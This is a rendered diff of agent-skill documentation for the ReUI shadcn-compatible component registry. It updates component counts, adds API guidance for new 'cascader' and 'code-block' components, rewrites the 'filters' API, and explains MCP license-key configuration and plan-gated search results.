.mcp.json
|
.mcp.json
|
||||||
.codegraph/daemon.pid
|
.codegraph/daemon.pid
|
||||||
|
.claude/settings.local.json
|
||||||
|
|||||||
@@ -0,0 +1 @@
|
|||||||
|
22
|
||||||
@@ -1,19 +1,20 @@
|
|||||||
---
|
---
|
||||||
name: reui
|
name: reui
|
||||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||||
user-invocable: false
|
|
||||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||||
|
metadata:
|
||||||
|
user-invocable: "false"
|
||||||
---
|
---
|
||||||
|
|
||||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||||
|
|
||||||
# ReUI for Agents
|
# ReUI for Agents
|
||||||
|
|
||||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||||
|
|
||||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||||
|
|
||||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
|||||||
|
|
||||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
## Registry setup (one-time, per project)
|
## Registry setup (one-time, per project)
|
||||||
|
|
||||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||||
|
|
||||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||||
|
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||||
|
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||||
|
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||||
|
|
||||||
|
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||||
|
|
||||||
|
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||||
|
|
||||||
## Installing
|
## Installing
|
||||||
|
|
||||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
|||||||
|
|
||||||
## Free vs premium boundary
|
## Free vs premium boundary
|
||||||
|
|
||||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||||
|
|
||||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# ReUI components
|
# ReUI components
|
||||||
|
|
||||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||||
|
|
||||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||||
|
|
||||||
## data-grid (the flagship - read its API every time)
|
## data-grid (the flagship - read its API every time)
|
||||||
|
|
||||||
@@ -106,22 +106,60 @@ Common mistakes:
|
|||||||
|
|
||||||
## filters
|
## filters
|
||||||
|
|
||||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||||
**Shape:**
|
**Shape:**
|
||||||
|
|
||||||
```tsx
|
```tsx
|
||||||
const [filters, setFilters] = useState<Filter[]>([
|
const fields: FilterField[] = [
|
||||||
createFilter("priority", "is_any_of", ["low"]),
|
{ id: "title", label: "Title", type: "text" },
|
||||||
])
|
{
|
||||||
const fields: FilterFieldConfig[] = [
|
id: "status",
|
||||||
{ key: "priority", label: "Priority", type: "multiselect",
|
label: "Status",
|
||||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
type: "select",
|
||||||
|
options: [
|
||||||
|
{ value: "active", label: "Active" },
|
||||||
|
{ value: "archived", label: "Archived" },
|
||||||
|
],
|
||||||
|
},
|
||||||
]
|
]
|
||||||
|
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||||
|
|
||||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||||
```
|
```
|
||||||
|
|
||||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||||
|
|
||||||
|
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||||
|
|
||||||
|
## cascader
|
||||||
|
|
||||||
|
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||||
|
<CascaderTrigger render={<Button variant="outline" />}>
|
||||||
|
<CascaderValue placeholder="Select an attribute" />
|
||||||
|
</CascaderTrigger>
|
||||||
|
<CascaderContent className="w-80">
|
||||||
|
<CascaderPanel>
|
||||||
|
<CascaderNav>
|
||||||
|
<CascaderBreadcrumb />
|
||||||
|
<CascaderInput />
|
||||||
|
</CascaderNav>
|
||||||
|
<CascaderEmpty />
|
||||||
|
<CascaderList maxHeight={288}>
|
||||||
|
<CascaderItems />
|
||||||
|
</CascaderList>
|
||||||
|
<CascaderStatus />
|
||||||
|
</CascaderPanel>
|
||||||
|
</CascaderContent>
|
||||||
|
</Cascader>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||||
|
|
||||||
|
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||||
|
|
||||||
## date-selector
|
## date-selector
|
||||||
|
|
||||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
|||||||
|
|
||||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||||
|
|
||||||
|
## code-block
|
||||||
|
|
||||||
|
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<CodeBlock code={code} language="tsx" />
|
||||||
|
|
||||||
|
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||||
|
<CodeBlockHeader>
|
||||||
|
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||||
|
<CodeBlockLanguage />
|
||||||
|
<CodeBlockCopyButton className="ml-auto" />
|
||||||
|
</CodeBlockHeader>
|
||||||
|
<CodeBlockExpandButton />
|
||||||
|
</CodeBlock>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||||
|
|
||||||
## alert
|
## alert
|
||||||
|
|
||||||
**Required:** `Alert` > `AlertTitle`
|
**Required:** `Alert` > `AlertTitle`
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
|||||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||||
```
|
```
|
||||||
|
|
||||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||||
|
|
||||||
Finding icons:
|
Finding icons:
|
||||||
|
|
||||||
|
|||||||
@@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||||
|
|
||||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||||
|
|
||||||
## The @reui registry
|
## The @reui registry
|
||||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
|||||||
|
|
||||||
## Free vs premium
|
## Free vs premium
|
||||||
|
|
||||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||||
|
|
||||||
## Component API index
|
## Component API index
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
|||||||
|
|
||||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||||
|
|
||||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||||
|
|
||||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||||
|
|
||||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||||
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||||
|
|
||||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
|||||||
|
|
||||||
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||||
|
|
||||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||||
|
|
||||||
|
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||||
|
|
||||||
## 2. Install (shadcn CLI)
|
## 2. Install (shadcn CLI)
|
||||||
|
|
||||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
|||||||
|
|
||||||
Before writing code against any component an item uses:
|
Before writing code against any component an item uses:
|
||||||
|
|
||||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||||
|
|
||||||
|
|||||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
|
|
||||||
## The 5 task-specific tools (when to reach for each)
|
## The 5 task-specific tools (when to reach for each)
|
||||||
|
|
||||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
